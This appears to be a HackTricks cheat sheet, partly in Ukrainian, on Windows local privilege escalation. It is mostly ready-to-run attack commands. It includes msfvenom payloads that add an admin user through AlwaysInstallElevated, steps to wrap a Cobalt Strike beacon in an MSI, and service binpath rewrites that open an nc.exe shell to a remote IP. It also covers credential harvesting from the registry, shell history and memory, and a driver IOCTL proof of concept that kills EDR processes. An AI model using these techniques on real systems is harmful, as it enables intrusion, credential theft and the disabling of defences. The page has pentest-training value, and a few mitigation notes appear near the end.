Windows Local Privilege Escalation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Найкращий інструмент для пошуку векторів Windows local privilege escalation: WinPEAS
Вступна теорія Windows
Access Tokens
Якщо ви не знаєте, що таке Windows Access Tokens, прочитайте наступну сторінку перед продовженням:
ACLs - DACLs/SACLs/ACEs
Перегляньте наступну сторінку для отримання додаткової інформації про ACLs - DACLs/SACLs/ACEs:
Integrity Levels
Якщо ви не знаєте, що таке integrity levels у Windows, прочитайте наступну сторінку перед продовженням:
Windows Security Controls
Існують різні механізми у Windows, які можуть перешкоджати вам у перерахунку системи, запуску виконуваних файлів або навіть виявити вашу діяльність. Ви повинні прочитати наступну сторінку і перелічити всі ці захисні механізми перед початком переліку для privilege escalation:
System Info
Version info enumeration
Перевірте, чи має версія Windows відомі вразливості (також перевірте застосовані патчі).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Експлойти версій
Цей site зручний для пошуку детальної інформації про вразливості безпеки Microsoft. У цій базі даних понад 4,700 вразливостей безпеки, що демонструє величезну поверхню атаки, яку представляє середовище Windows.
На системі
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
Локально з інформацією про систему
Репозиторії Github з експлойтами:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Середовище
Чи збережені які-небудь credential/Juicy info в env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell Історія
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
Файли транскриптів PowerShell
Ви можете дізнатися, як увімкнути це за адресою https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Деталі виконань PowerShell pipeline реєструються й охоплюють виконані команди, їх виклики та частини скриптів. Водночас повні відомості про виконання й результати виводу можуть не фіксуватися.
Щоб увімкнути це, дотримуйтеся інструкцій у розділі “Transcript files” документації, обравши “Module Logging” замість “Powershell Transcription”.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Щоб переглянути останні 15 подій у логах PowersShell, ви можете виконати:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Фіксується повний запис активності та вміст скрипту під час його виконання, що гарантує документування кожного блоку коду в момент запуску. Це зберігає вичерпний аудиторський слід кожної дії, цінний для судової експертизи та аналізу шкідливої поведінки. Документування всієї активності під час виконання забезпечує детальне уявлення про процес.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Журнали подій для Script Block можна знайти у Windows Event Viewer за шляхом: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Щоб переглянути останні 20 подій, ви можете використати:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Налаштування Інтернету
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Диски
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Ви можете скомпрометувати систему, якщо оновлення запитуються не через httpS, а через http.
Почніть із перевірки, чи використовує мережа non-SSL WSUS update, виконавши наступне в cmd:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Або наступне в PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Якщо ви отримаєте відповідь, наприклад одну з цих:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
І якщо HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer або Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" дорівнює 1.
Тоді, it is exploitable. Якщо останній параметр реєстру дорівнює 0, запис WSUS буде ігноруватися.
Щоб експлуатувати цю вразливість, ви можете використовувати такі інструменти: Wsuxploit, pyWSUS — це MiTM скрипти-експлойти для ін’єкції ‘фейкових’ оновлень у не-SSL WSUS-трафік.
Прочитайте дослідження тут:
WSUS CVE-2020-1013
Read the complete report here.
По суті, це недолік, який використовує цей баг:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
Ви можете експлуатувати цю вразливість за допомогою інструмента WSUSpicious (коли він стане доступним).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Багато корпоративних агентів відкривають IPC-інтерфейс на localhost і привілейований канал оновлення. Якщо реєстрацію можна примусити на сервер атакуючого, а оновлювач довіряє підробленому root CA або має слабку перевірку підписувача, локальний користувач може доставити шкідливий MSI, який служба SYSTEM встановить. Див. узагальнену техніку (на основі ланцюжка Netskope stAgentSvc – CVE-2025-0309) тут:
KrbRelayUp
A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
Якщо ці 2 параметри реєстру увімкнені (значення 0x1), тоді користувачі будь-якого рівня привілеїв можуть встановлювати (виконувати) *.msi файли як NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Якщо у вас є сеанс meterpreter, ви можете автоматизувати цю техніку, використовуючи модуль exploit/windows/local/always_install_elevated
PowerUP
Використайте команду Write-UserAddMSI з power-up, щоб створити в поточній директорії Windows MSI бінарний файл для ескалації привілеїв. Цей скрипт записує попередньо скомпільований MSI-інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ до GUI):
Write-UserAddMSI
Просто запустіть створений binary, щоб escalate privileges.
MSI Wrapper
Прочитайте цей підручник, щоб дізнатися, як створити MSI wrapper за допомогою цих інструментів. Зверніть увагу, що ви можете wrap файл “.bat”, якщо ви just хочете execute command lines
Create MSI with WIX
Create MSI with Visual Studio
- Згенеруйте за допомогою Cobalt Strike або Metasploit новий Windows EXE TCP payload у
C:\privesc\beacon.exe - Відкрийте Visual Studio, оберіть Create a new project і введіть “installer” у поле пошуку. Виберіть проект Setup Wizard і натисніть Next.
- Дайте проекту назву, наприклад AlwaysPrivesc, використайте
C:\privescяк розташування, позначте place solution and project in the same directory, і натисніть Create. - Натискайте Next доти, доки не дійдете до кроку 3 з 4 (choose files to include). Натисніть Add і додайте Beacon payload, який щойно згенерували. Потім натисніть Finish.
- Виділіть проект AlwaysPrivesc у Solution Explorer і в Properties змініть TargetPlatform з x86 на x64.
- Є й інші властивості, які можна змінити, наприклад Author та Manufacturer, щоб встановлений додаток виглядав більш правдоподібно.
- Клацніть правою кнопкою миші на проекті та виберіть View > Custom Actions.
- Клацніть правою кнопкою на Install і виберіть Add Custom Action.
- Двічі клацніть Application Folder, виберіть ваш файл beacon.exe і натисніть OK. Це забезпечить виконання beacon payload одразу після запуску інсталятора.
- В Custom Action Properties змініть Run64Bit на True.
- Нарешті, build it.
- Якщо з’явиться попередження
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', переконайтеся, що платформа встановлена на x64.
MSI Installation
Щоб запустити installation зловмисного .msi файлу у background:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Щоб експлуатувати цю вразливість, ви можете використати: exploit/windows/local/always_install_elevated
Антивірус і детектори
Налаштування аудиту
Ці налаштування визначають, що реєструється, тому слід звернути на них увагу.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding — цікаво знати, куди надсилаються logs
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS призначений для management of local Administrator passwords, гарантуючи, що кожен пароль є унікальним, випадковим і регулярно оновлюється на комп’ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і доступні лише користувачам, яким через ACLs надано достатні права, що дозволяє їм переглядати local admin passwords, якщо це дозволено.
WDigest
Якщо активний, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
Захист LSA
Починаючи з Windows 8.1, Microsoft запровадила посилений захист для Local Security Authority (LSA), щоб блокувати спроби ненадійних процесів зчитувати її пам’ять або впроваджувати код, додатково захищаючи систему.
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard був представлений у Windows 10. Його мета — захищати credentials, що зберігаються на пристрої, від загроз, таких як атаки pass-the-hash.| Детальніше про Credential Guard тут.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials аутентифікуються Local Security Authority (LSA) і використовуються компонентами операційної системи. Коли дані входу користувача аутентифікуються зареєстрованим security package, domain credentials для користувача зазвичай встановлюються.
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Користувачі та групи
Перелічення користувачів та груп
Варто перевірити, чи мають групи, до яких ви належите, які-небудь цікаві дозволи.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Привілейовані групи
Якщо ви належите до якоїсь привілейованої групи, ви можете підвищити свої привілеї. Дізнайтесь про привілейовані групи та способи їхнього зловживання для підвищення привілеїв тут:
Token manipulation
Дізнайтеся більше про те, що таке token на цій сторінці: Windows Tokens.
Перегляньте наступну сторінку, щоб дізнатися про цікаві tokens та як ними зловживати:
Увійшлі користувачі / сесії
qwinsta
klist sessions
Домашні папки
dir C:\Users
Get-ChildItem C:\Users
Політика паролів
net accounts
Отримати вміст буфера обміну
powershell -command "Get-Clipboard"
Запущені процеси
Права доступу до файлів і папок
Почніть з переліку процесів — перевірте наявність паролів у командному рядку процесу.
Перевірте, чи можете ви перезаписати якийсь запущений бінарний файл або чи маєте права запису у папку бінарних файлів, щоб експлуатувати можливі DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Завжди перевіряйте наявність можливих electron/cef/chromium debuggers що запущені — їх можна використати для підвищення привілеїв.
Перевірка прав доступу до бінарних файлів процесів
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Перевірка дозволів папок бінарних файлів процесів (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Ви можете створити memory dump запущеного процесу, використовуючи procdump з sysinternals. Сервіси на кшталт FTP містять credentials in clear text in memory — спробуйте зробити дамп пам’яті і прочитати ці credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Небезпечні GUI-додатки
Застосунки, що виконуються від імені SYSTEM, можуть дозволити користувачу запустити CMD або переглядати каталоги.
Наприклад: “Windows Help and Support” (Windows + F1), пошукайте “command prompt”, клацніть “Click to open Command Prompt”
Служби
Service Triggers дозволяють Windows запускати службу, коли відбуваються певні умови (активність named pipe/RPC endpoint, ETW events, доступність IP, підключення пристрою, GPO refresh тощо). Навіть без прав SERVICE_START ви часто можете запустити привілейовані служби, активувавши їхні тригери. Див. методи перелічення та активації тут:
Отримати список служб:
net start
wmic service list brief
sc query
Get-Service
Дозволи
Ви можете використовувати sc для отримання інформації про службу.
sc qc <service_name>
Рекомендується мати бінарний файл accesschk від Sysinternals для перевірки required privilege level для кожної служби.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Рекомендується перевірити, чи можуть “Authenticated Users” змінювати будь-яку службу:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
Увімкнення служби
Якщо ви отримуєте цю помилку (наприклад для SSDPSRV):
Сталася системна помилка 1058.
Службу не можна запустити, або тому що вона відключена або тому що з нею не пов’язані жодні увімкнені пристрої.
Ви можете ввімкнути її за допомогою
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)
Інший обхідний спосіб цієї проблеми — запустити:
sc.exe config usosvc start= auto
Змінити шлях бінарного файлу сервісу
У випадку, коли група “Authenticated users” має SERVICE_ALL_ACCESS для служби, можлива модифікація виконуваного бінарного файлу служби. Щоб змінити та запустити sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Перезапустити службу
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Привілеї можна підвищити через різні дозволи:
- SERVICE_CHANGE_CONFIG: Дозволяє переконфігурування виконуваного файлу служби.
- WRITE_DAC: Дозволяє змінювати дозволи, що веде до можливості змінювати конфігурації служби.
- WRITE_OWNER: Дозволяє отримати власність і змінювати дозволи.
- GENERIC_WRITE: Наслідує можливість змінювати конфігурації служби.
- GENERIC_ALL: Також наслідує можливість змінювати конфігурації служби.
Для виявлення та експлуатації цієї вразливості можна використати exploit/windows/local/service_permissions.
Слабкі дозволи виконуваних файлів служб
Перевірте, чи можете змінити виконуваний файл, який запускає служба або чи маєте ви права на запис у папку, де знаходиться виконуваний файл (DLL Hijacking).
Ви можете отримати список усіх виконуваних файлів, які запускає служба, використовуючи wmic (не в system32) і перевірити свої дозволи за допомогою icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Ви також можете використовувати sc та icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Дозволи на зміну Services registry
Вам слід перевірити, чи можете ви змінювати будь-який service registry.
Ви можете перевірити свої permissions щодо service registry, виконавши:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Слід перевірити, чи Authenticated Users або NT AUTHORITY\INTERACTIVE мають права FullControl. Якщо так, binary, який виконується сервісом, можна змінити.
Щоб змінити Path виконуваного binary:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Реєстр служб — дозволи AppendData/AddSubdirectory
If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:
AppendData/AddSubdirectory permission over service registry
Шляхи служб без лапок
If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Перелічте всі unquoted шляхи служб, за винятком тих, що належать вбудованим службам Windows:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Ви можете виявити та експлуатувати цю вразливість за допомогою metasploit: exploit/windows/local/trusted\_service\_path Ви можете вручну створити бінарний файл служби за допомогою metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Дії відновлення
Windows дозволяє користувачам вказувати дії, які повинні виконуватися у випадку відмови служби. Цю функцію можна налаштувати так, щоб вона вказувала на binary. Якщо цей binary можна замінити, можливий privilege escalation. Детальніше в офіційній документації.
Додатки
Встановлені додатки
Перевірте права доступу до binaries (можливо, ви зможете перезаписати один з них і отримати privilege escalation) та до папок (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Права запису
Перевірте, чи можете ви змінити якийсь config file, щоб прочитати якийсь спеціальний файл, або чи можете змінити якийсь binary, який буде виконуватися під Administrator account (schedtasks).
Один зі способів знайти слабкі folder/files permissions у системі — це зробити:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Запуск при старті
Перевірте, чи можете перезаписати деякі registry або binary, які будуть виконані іншим користувачем.
Прочитайте наступну сторінку, щоб дізнатися більше про цікаві autoruns locations to escalate privileges:
Privilege Escalation with Autoruns
Драйвери
Шукайте можливі third party weird/vulnerable drivers
driverquery
driverquery.exe /fo table
driverquery /SI
Якщо драйвер надає arbitrary kernel read/write primitive (поширене у погано спроєктованих IOCTL handlers), ви можете ескалювати привілеї, викравши SYSTEM token безпосередньо з kernel memory. Див. покрокову техніку тут:
Arbitrary Kernel Rw Token Theft
Зловживання відсутністю FILE_DEVICE_SECURE_OPEN на об’єктах пристрою (LPE + EDR kill)
Деякі підписані драйвери третіх сторін створюють свій об’єкт пристрою з сильною SDDL через IoCreateDeviceSecure, але забувають встановити FILE_DEVICE_SECURE_OPEN у DeviceCharacteristics. Без цього прапора secure DACL не застосовується, коли пристрій відкривають через шлях, що містить додатковий компонент, що дозволяє будь-якому непривілейованому користувачу отримати handle, використовуючи namespace path на кшталт:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
Як тільки користувач може відкрити пристрій, привілейовані IOCTLs, які експонує драйвер, можуть бути зловживані для LPE та tampering. Приклади можливостей, зафіксованих у реальному житті:
- Повернення handles з повним доступом до довільних процесів (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- Необмежений raw disk read/write (офлайн підтасування, трюки для стійкості під час завантаження).
- Завершення довільних процесів, включно з Protected Process/Light (PP/PPL), що дозволяє AV/EDR kill з user land через kernel.
Мінімальний PoC шаблон (режим користувача):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Заходи пом’якшення для розробників
- Завжди встановлюйте FILE_DEVICE_SECURE_OPEN під час створення об’єктів пристрою, які мають бути обмежені DACL.
- Перевіряйте контекст викликача для привілейованих операцій. Додавайте PP/PPL перевірки перед дозволом на завершення процесу або повернення дескрипторів.
- Обмежуйте IOCTLs (access masks, METHOD_*, валідація введення) і розглядайте використання brokered models замість прямого доступу до привілеїв ядра.
Ідеї для виявлення для захисників
- Моніторте відкриття в user-mode підозрілих імен пристроїв (e.g., \ .\amsdk*) та конкретних послідовностей IOCTL, що вказують на зловживання.
- Застосовуйте блоклист вразливих драйверів Microsoft (HVCI/WDAC/Smart App Control) та підтримуйте власні списки дозволених/заборонених.
PATH DLL Hijacking
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Для отримання додаткової інформації про те, як зловживати цією перевіркою:
Writable Sys Path +Dll Hijacking Privesc
Мережа
Спільні ресурси
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Перевірте наявність інших відомих комп’ютерів, жорстко прописаних у hosts file
type C:\Windows\System32\drivers\etc\hosts
Мережеві інтерфейси та DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Відкриті порти
Перевірте наявність обмежених служб ззовні
netstat -ano #Opened ports?
Маршрутна таблиця
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP таблиця
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall Rules
Перегляньте цю сторінку для команд, пов’язаних з Firewall (перегляд правил, створення правил, вимкнення, вимкнення…)
Більше команд для network enumeration тут
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Бінарний файл bash.exe також можна знайти в C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Якщо ви отримаєте root user, ви можете прослуховувати будь-який порт (першого разу, коли ви використовуєте nc.exe для прослуховування порту, він через GUI запитає, чи слід дозволити nc через firewall).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Щоб легко запустити bash як root, можна спробувати --default-user root
Ви можете дослідити WSL файлову систему у папці C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Облікові дані Windows
Облікові дані Winlogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
